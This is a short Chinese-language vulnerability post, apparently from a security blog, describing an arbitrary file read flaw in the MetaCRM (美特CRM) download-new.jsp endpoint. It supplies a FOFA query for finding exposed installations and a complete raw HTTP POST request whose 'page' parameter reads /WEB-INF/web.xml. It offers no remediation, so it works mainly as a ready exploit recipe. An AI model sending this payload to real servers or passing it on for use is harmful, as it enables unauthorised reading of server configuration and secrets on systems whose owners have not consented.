MetaCRM美特crm系统download-new.jsp接口存在任意文件读取漏洞

秋水5326

1:漏洞描述
MetaCRM美特crm系统download-new.jsp接口存在任意文件读取漏洞

2:影响版本
MetaCRM美特crm

3:fofa查询语句
body="/common/scripts/basic.js" && body="www.metacrm.com.cn"

4:漏洞复现
漏洞链接：https://xx.xx.xx.xx/business/common/download-new.jsp

漏洞数据包：POST /business/common/download-new.jsp HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xx.xx.xx.xx
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

filename=1.png&page=/WEB-INF/web.xml